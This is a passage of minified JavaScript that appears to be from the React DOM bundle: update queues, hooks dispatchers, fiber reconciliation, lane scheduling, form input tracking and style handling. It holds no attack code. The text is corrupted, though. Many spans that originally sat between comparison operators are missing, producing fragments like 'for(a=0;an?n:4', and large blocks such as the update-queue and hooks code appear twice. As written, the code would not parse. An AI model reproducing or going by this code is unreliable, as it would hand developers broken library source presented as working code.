n.tag===3?n.stateNode:null}var la=!1;function xc(s){s.updateQueue={baseState:s.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function ai(s,a){s=s.updateQueue,a.updateQueue===s&&(a.updateQueue={baseState:s.baseState,firstBaseUpdate:s.firstBaseUpdate,lastBaseUpdate:s.lastBaseUpdate,shared:s.shared,effects:s.effects})}function _s(s,a){return{eventTime:s,lane:a,tag:0,payload:null,callback:null,next:null}}function Ia(s,a,n){var l=s.updateQueue;if(l===null)return null;if(l=l.shared,H&2){var p=l.pending;return p===null?a.next=a:(a.next=p.next,p.next=a),l.pending=a,$s(s,n)}return p=l.interleaved,p===null?(a.next=a,Sc(l)):(a.next=p.next,p.next=a),l.interleaved=a,$s(s,n)}function Ml(s,a,n){if(a=a.updateQueue,a!==null&&(a=a.shared,(n&4194240)!==0)){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Wc(s,n)}}function _t(s,a){var n=s.updateQueue,l=s.alternate;if(l!==null&&(l=l.updateQueue,n===l)){var p=null,e=null;if(n=n.firstBaseUpdate,n!==null){do{var c={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};e===null?p=e=c:e=e.next=c,n=n.next}while(n!==null);e===null?p=e=a:e=e.next=a}else p=e=a;n={baseState:l.baseState,firstBaseUpdate:p,lastBaseUpdate:e,shared:l.shared,effects:l.effects},s.updateQueue=n;return}s=n.lastBaseUpdate,s===null?n.firstBaseUpdate=a:s.next=a,n.lastBaseUpdate=a}function cp(s,a,n,l){var p=s.updateQueue;la=!1;var e=p.firstBaseUpdate,c=p.lastBaseUpdate,t=p.shared.pending;if(t!==null){p.shared.pending=null;var o=t,i=o.next;o.next=null,c===null?e=i:c.next=i,c=o;var I=s.alternate;I!==null&&(I=I.updateQueue,t=I.lastBaseUpdate,t!==c&&(t===null?I.firstBaseUpdate=i:t.next=i,I.lastBaseUpdate=o))}if(e!==null){var d=p.baseState;c=0,I=i=o=null,t=e;do{var j=t.lane,u=t.eventTime;if((l&j)===j){I!==null&&(I=I.next={eventTime:u,lane:0,tag:t.tag,payload:t.payload,callback:t.callback,next:null});s:{var m=s,b=t;switch(j=a,u=n,b.tag){case 1:if(m=b.payload,typeof m=="function"){d=m.call(u,d,j);break s}d=m;break s;case 3:m.flags=m.flags&-65537|128;case 0:if(m=b.payload,j=typeof m=="function"?m.call(u,d,j):m,j==null)break s;d=E({},d,j);break s;case 2:la=!0}}t.callback!==null&&t.lane!==0&&(s.flags|=64,j=p.effects,j===null?p.effects=[t]:j.push(t))}else u={eventTime:u,lane:j,tag:t.tag,payload:t.payload,callback:t.callback,next:null},I===null?(i=I=u,o=d):I=I.next=u,c|=j;if(t=t.next,t===null){if(t=p.shared.pending,t===null)break;j=t,t=j.next,j.next=null,p.lastBaseUpdate=j,p.shared.pending=null}}while(!0);if(I===null&&(o=d),p.baseState=o,p.firstBaseUpdate=i,p.lastBaseUpdate=I,a=p.shared.interleaved,a!==null){p=a;do c|=p.lane,p=p.next;while(p!==a)}else e===null&&(p.shared.lanes=0);Ha|=c,s.lanes=c,s.memoizedState=d}}function Ot(s,a,n){if(s=a.effects,a.effects=null,s!==null)for(a=0;an?n:4,s(!0);var l=ee.transition;ee.transition={};try{s(!1),a()}finally{K=n,ee.transition=l}}function ui(){return Ys().memoizedState}function dI(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},yi(s))mi(a,n);else if(n=si(s,a,n,l),n!==null){var p=is();Fs(n,s,l,p),bi(n,a,l)}}function CI(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(yi(s))mi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ms(t,c)){var o=a.interleaved;o===null?(p.next=p,Sc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=si(s,a,p,l),n!==null&&(p=is(),Fs(n,s,l,p),bi(n,a,l))}}function yi(s){var a=s.alternate;return s===D||a!==null&&a===D}function mi(s,a){Fn=op=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function bi(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Wc(s,n)}}var rp={readContext:Vs,useCallback:es,useContext:es,useEffect:es,useImperativeHandle:es,useInsertionEffect:es,useLayoutEffect:es,useMemo:es,useReducer:es,useRef:es,useState:es,useDebugValue:es,useDeferredValue:es,useTransition:es,useMutableSource:es,useSyncExternalStore:es,useId:es,unstable_isNewReconciler:!1},jI={readContext:Vs,useCallback:function(s,a){return xs().memoizedState=[s,a===void 0?null:a],s},useContext:Vs,useEffect:$t,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,xl(4194308,4,Ii.bind(null,a,s),n)},useLayoutEffect:function(s,a){return xl(4194308,4,s,a)},useInsertionEffect:function(s,a){return xl(4,2,s,a)},useMemo:function(s,a){var n=xs();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=xs();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=dI.bind(null,D,s),[l.memoizedState,s]},useRef:function(s){var a=xs();return s={current:s},a.memoizedState=s},useState:Pt,useDebugValue:Lc,useDeferredValue:function(s){return xs().memoizedState=s},useTransition:function(){var s=Pt(!1),a=s[0];return s=II.bind(null,s[1]),xs().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=D,p=xs();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Na&30||ei(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,$t(ti.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,ci.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=xs(),a=ss.identifierPrefix;if(J){var n=Ls,l=Us;n=(l&~(1<<32-Ks(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{zp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?fn(s):""}function Tg(s){switch(s.tag){case 5:return fn(s.type);case 16:return fn("Lazy");case 13:return fn("Suspense");case 19:return fn("SuspenseList");case 0:case 2:case 15:return s=Dp(s.type,!1),s;case 11:return s=Dp(s.type.render,!1),s;case 1:return s=Dp(s.type,!0),s;default:return""}}function ye(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case je:return"Profiler";case mc:return"StrictMode";case Ae:return"Suspense";case ue:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case ar:return(s.displayName||"Context")+".Consumer";case sr:return(s._context.displayName||"Context")+".Provider";case bc:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case wc:return a=s.displayName||null,a!==null?a:ye(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return ye(s(a))}catch{}}return null}function Lg(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return ye(a);case 8:return a===mc?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function Aa(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function lr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function Ug(s){var a=lr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=Ug(s))}function pr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=lr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function Ql(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function me(s,a){var n=a.checked;return E({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function At(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=Aa(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function er(s,a){a=a.checked,a!=null&&yc(s,"checked",a,!1)}function be(s,a){er(s,a);var n=Aa(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?we(s,a.type,n):a.hasOwnProperty("defaultValue")&&we(s,a.type,Aa(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function ut(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function we(s,a,n){(a!=="number"||Ql(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var Vn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=Al.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var Rn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},_g=["Webkit","ms","Moz","O"];Object.keys(Rn).forEach(function(s){_g.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),Rn[a]=Rn[s]})});function rr(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||Rn.hasOwnProperty(s)&&Rn[s]?(""+a).trim():a+"px"}function ir(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=rr(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Og=E({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function We(s,a){if(a){if(Og[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Ge(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Be=null;function kc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var fe=null,sn=null,an=null;function bt(s){if(s=rl(s)){if(typeof fe!="function")throw Error(w(280));var a=s.stateNode;a&&(a=wp(a),fe(s.stateNode,s.type,a))}}function gr(s){sn?an?an.push(s):an=[s]:sn=s}function hr(){if(sn){var s=sn,a=an;if(an=sn=null,bt(s),a)for(s=0;s>>=0,s===0?32:31-(th(s)/oh|0)|0}var ul=64,yl=4194304;function Yn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function _l(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=Yn(t):(e&=c,e!==0&&(l=Yn(e)))}else c=n&~p,c!==0?l=Yn(c):e!==0&&(l=Yn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Ks(a),s[a]=n}function hh(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Nn),Yt=" ",Xt=!1;function Rr(s,a){switch(s){case"keyup":return xh.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function vr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Da=!1;function zh(s,a){switch(s){case"compositionend":return vr(a);case"keypress":return a.which!==32?null:(Xt=!0,Yt);case"textInput":return s=a.data,s===Yt&&Xt?null:s;default:return null}}function Dh(s,a){if(Da)return s==="compositionend"||!Xc&&Rr(s,a)?(s=Yr(),Kl=fc=ca=null,Da=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=Ht(n)}}function Fr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Fr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Mr(){for(var s=window,a=Ql();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=Ql(s.document)}return a}function Rc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function $h(s){var a=Mr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Fr(n.ownerDocument.documentElement,n)){if(l!==null&&Rc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Kt(n,e);var c=Kt(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ea=null,Ne=null,Kn=null,He=!1;function Ft(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;He||Ea==null||Ea!==Ql(l)||(l=Ea,"selectionStart"in l&&Rc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Kn&&Un(Kn,l)||(Kn=l,l=$l(Ne,"onSelect"),0La||(s.current=Je[La],Je[La]=null,La--)}function F(s,a){La++,Je[La]=s.current,s.current=a}var ua={},os=ma(ua),Cs=ma(!1),Ra=ua;function cn(s,a){var n=s.type.contextTypes;if(!n)return ua;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function js(s){return s=s.childContextTypes,s!=null}function sp(){S(Cs),S(os)}function Et(s,a,n){if(os.current!==ua)throw Error(w(168));F(os,a),F(Cs,n)}function Lr(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,Lg(s)||"Unknown",p));return E({},n,l)}function ap(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||ua,Ra=os.current,F(os,s),F(Cs,Cs.current),!0}function Qt(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Lr(s,a,Ra),l.__reactInternalMemoizedMergedChildContext=s,S(Cs),S(os),F(os,s)):S(Cs),F(Cs,n)}var Ts=null,kp=!1,le=!1;function Ur(s){Ts===null?Ts=[s]:Ts.push(s)}function iI(s){kp=!0,Ur(s)}function ba(){if(!le&&Ts!==null){le=!0;var s=0,a=K;try{var n=Ts;for(K=1;s>=c,p-=c,Ls=1<<32-Ks(a)+p|n<Y?(x=B,B=null):x=B.sibling;var N=j(h,B,C[Y],y);if(N===null){B===null&&(B=x);break}s&&B&&N.alternate===null&&a(h,B),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N,B=x}if(Y===C.length)return n(h,B),J&&Za(h,Y),Z;if(B===null){for(;YY?(x=B,B=null):x=B.sibling;var Xs=j(h,B,N.value,y);if(Xs===null){B===null&&(B=x);break}s&&B&&Xs.alternate===null&&a(h,B),g=e(Xs,g,Y),k===null?Z=Xs:k.sibling=Xs,k=Xs,B=x}if(N.done)return n(h,B),J&&Za(h,Y),Z;if(B===null){for(;!N.done;Y++,N=C.next())N=d(h,N.value,y),N!==null&&(g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return J&&Za(h,Y),Z}for(B=l(h,B);!N.done;Y++,N=C.next())N=u(B,h,Y,N.value,y),N!==null&&(s&&N.alternate!==null&&B.delete(N.key===null?Y:N.key),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return s&&B.forEach(function(un){return a(h,un)}),J&&Za(h,Y),Z}function G(h,g,C,y){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var Z=C.key,k=g;k!==null;){if(k.key===Z){if(Z=C.type,Z===za){if(k.tag===7){n(h,k.sibling),g=p(k,C.props.children),g.return=h,h=g;break s}}else if(k.elementType===Z||typeof Z=="object"&&Z!==null&&Z.$$typeof===na&&Ut(Z)===k.type){n(h,k.sibling),g=p(k,C.props),g.ref=Wn(h,k,C),g.return=h,h=g;break s}n(h,k);break}else a(h,k);k=k.sibling}C.type===za?(g=Ya(C.props.children,h.mode,y,C.key),g.return=h,h=g):(y=El(C.type,C.key,C.props,null,h.mode,y),y.ref=Wn(h,g,C),y.return=h,h=y)}return c(h);case Ja:s:{for(k=C.key;g!==null;){if(g.key===k)if(g.tag===4&&g.stateNode.containerInfo===C.containerInfo&&g.stateNode.implementation===C.implementation){n(h,g.sibling),g=p(g,C.children||[]),g.return=h,h=g;break s}else{n(h,g);break}else a(h,g);g=g.sibling}g=ge(C,h.mode,y),g.return=h,h=g}return c(h);case na:return k=C._init,G(h,g,k(C._payload),y)}if(Vn(C))return m(h,g,C,y);if(mn(C))return b(h,g,C,y);Gl(h,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,g!==null&&g.tag===6?(n(h,g.sibling),g=p(g,C),g.return=h,h=g):(n(h,g),g=ie(C,h.mode,y),g.return=h,h=g),c(h)):n(h,g)}return G}var on=$r(!0),qr=$r(!1),pp=ma(null),ep=null,Oa=null,Kc=null;function Fc(){Kc=Oa=ep=null}function Mc(s){var a=pp.current;S(pp),s._currentValue=a}function Ee(s,a,n){for(;s!==null;){var l=s.alternate;if((s.childLanes&a)!==a?(s.childLanes|=a,l!==null&&(l.childLanes|=a)):l!==null&&(l.childLanes&a)!==a&&(l.childLanes|=a),s===n)break;s=s.return}}function ln(s,a){ep=s,Kc=Oa=null,s=s.dependencies,s!==null&&s.firstContext!==null&&(s.lanes&a&&(ds=!0),s.firstContext=null)}function Vs(s){var a=s._currentValue;if(Kc!==s)if(s={context:s,memoizedValue:a,next:null},Oa===null){if(ep===null)throw Error(w(308));Oa=s,ep.dependencies={lanes:0,firstContext:s}}else Oa=Oa.next=s;return a}var Ba=null;function Sc(s){Ba===null?Ba=[s]:Ba.push(s)}function si(s,a,n,l){var p=a.interleaved;return p===null?(n.next=n,Sc(a)):(n.next=p.next,p.next=n),a.interleaved=n,$s(s,l)}function $s(s,a){s.lanes|=a;var n=s.alternate;for(n!==null&&(n.lanes|=a),n=s,s=s.return;s!==null;)s.childLanes|=a,n=s.alternate,n!==null&&(n.childLanes|=a),n=s,s=s.return;return n.tag===3?n.stateNode:null}var la=!1;function xc(s){s.updateQueue={baseState:s.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function ai(s,a){s=s.updateQueue,a.updateQueue===s&&(a.updateQueue={baseState:s.baseState,firstBaseUpdate:s.firstBaseUpdate,lastBaseUpdate:s.lastBaseUpdate,shared:s.shared,effects:s.effects})}function _s(s,a){return{eventTime:s,lane:a,tag:0,payload:null,callback:null,next:null}}function Ia(s,a,n){var l=s.updateQueue;if(l===null)return null;if(l=l.shared,H&2){var p=l.pending;return p===null?a.next=a:(a.next=p.next,p.next=a),l.pending=a,$s(s,n)}return p=l.interleaved,p===null?(a.next=a,Sc(l)):(a.next=p.next,p.next=a),l.interleaved=a,$s(s,n)}function Ml(s,a,n){if(a=a.updateQueue,a!==null&&(a=a.shared,(n&4194240)!==0)){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Wc(s,n)}}function _t(s,a){var n=s.updateQueue,l=s.alternate;if(l!==null&&(l=l.updateQueue,n===l)){var p=null,e=null;if(n=n.firstBaseUpdate,n!==null){do{var c={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};e===null?p=e=c:e=e.next=c,n=n.next}while(n!==null);e===null?p=e=a:e=e.next=a}else p=e=a;n={baseState:l.baseState,firstBaseUpdate:p,lastBaseUpdate:e,shared:l.shared,effects:l.effects},s.updateQueue=n;return}s=n.lastBaseUpdate,s===null?n.firstBaseUpdate=a:s.next=a,n.lastBaseUpdate=a}function cp(s,a,n,l){var p=s.updateQueue;la=!1;var e=p.firstBaseUpdate,c=p.lastBaseUpdate,t=p.shared.pending;if(t!==null){p.shared.pending=null;var o=t,i=o.next;o.next=null,c===null?e=i:c.next=i,c=o;var I=s.alternate;I!==null&&(I=I.updateQueue,t=I.lastBaseUpdate,t!==c&&(t===null?I.firstBaseUpdate=i:t.next=i,I.lastBaseUpdate=o))}if(e!==null){var d=p.baseState;c=0,I=i=o=null,t=e;do{var j=t.lane,u=t.eventTime;if((l&j)===j){I!==null&&(I=I.next={eventTime:u,lane:0,tag:t.tag,payload:t.payload,callback:t.callback,next:null});s:{var m=s,b=t;switch(j=a,u=n,b.tag){case 1:if(m=b.payload,typeof m=="function"){d=m.call(u,d,j);break s}d=m;break s;case 3:m.flags=m.flags&-65537|128;case 0:if(m=b.payload,j=typeof m=="function"?m.call(u,d,j):m,j==null)break s;d=E({},d,j);break s;case 2:la=!0}}t.callback!==null&&t.lane!==0&&(s.flags|=64,j=p.effects,j===null?p.effects=[t]:j.push(t))}else u={eventTime:u,lane:j,tag:t.tag,payload:t.payload,callback:t.callback,next:null},I===null?(i=I=u,o=d):I=I.next=u,c|=j;if(t=t.next,t===null){if(t=p.shared.pending,t===null)break;j=t,t=j.next,j.next=null,p.lastBaseUpdate=j,p.shared.pending=null}}while(!0);if(I===null&&(o=d),p.baseState=o,p.firstBaseUpdate=i,p.lastBaseUpdate=I,a=p.shared.interleaved,a!==null){p=a;do c|=p.lane,p=p.next;while(p!==a)}else e===null&&(p.shared.lanes=0);Ha|=c,s.lanes=c,s.memoizedState=d}}function Ot(s,a,n){if(s=a.effects,a.effects=null,s!==null)for(a=0;an?n:4,s(!0);var l=ee.transition;ee.transition={};try{s(!1),a()}finally{K=n,ee.transition=l}}function ui(){return Ys().memoizedState}function dI(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},yi(s))mi(a,n);else if(n=si(s,a,n,l),n!==null){var p=is();Fs(n,s,l,p),bi(n,a,l)}}function CI(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(yi(s))mi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ms(t,c)){var o=a.interleaved;o===null?(p.next=p,Sc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=si(s,a,p,l),n!==null&&(p=is(),Fs(n,s,l,p),bi(n,a,l))}}function yi(s){var a=s.alternate;return s===D||a!==null&&a===D}function mi(s,a){Fn=op=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function bi(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Wc(s,n)}}var rp={readContext:Vs,useCallback:es,useContext:es,useEffect:es,useImperativeHandle:es,useInsertionEffect:es,useLayoutEffect:es,useMemo:es,useReducer:es,useRef:es,useState:es,useDebugValue:es,useDeferredValue:es,useTransition:es,useMutableSource:es,useSyncExternalStore:es,useId:es,unstable_isNewReconciler:!1},jI={readContext:Vs,useCallback:function(s,a){return xs().memoizedState=[s,a===void 0?null:a],s},useContext:Vs,useEffect:$t,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,xl(4194308,4,Ii.bind(null,a,s),n)},useLayoutEffect:function(s,a){return xl(4194308,4,s,a)},useInsertionEffect:function(s,a){return xl(4,2,s,a)},useMemo:function(s,a){var n=xs();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=xs();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=dI.bind(null,D,s),[l.memoizedState,s]},useRef:function(s){var a=xs();return s={current:s},a.memoizedState=s},useState:Pt,useDebugValue:Uc,useDeferredValue:function(s){return xs().memoizedState=s},useTransition:function(){var s=Pt(!1),a=s[0];return s=II.bind(null,s[1]),xs().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var 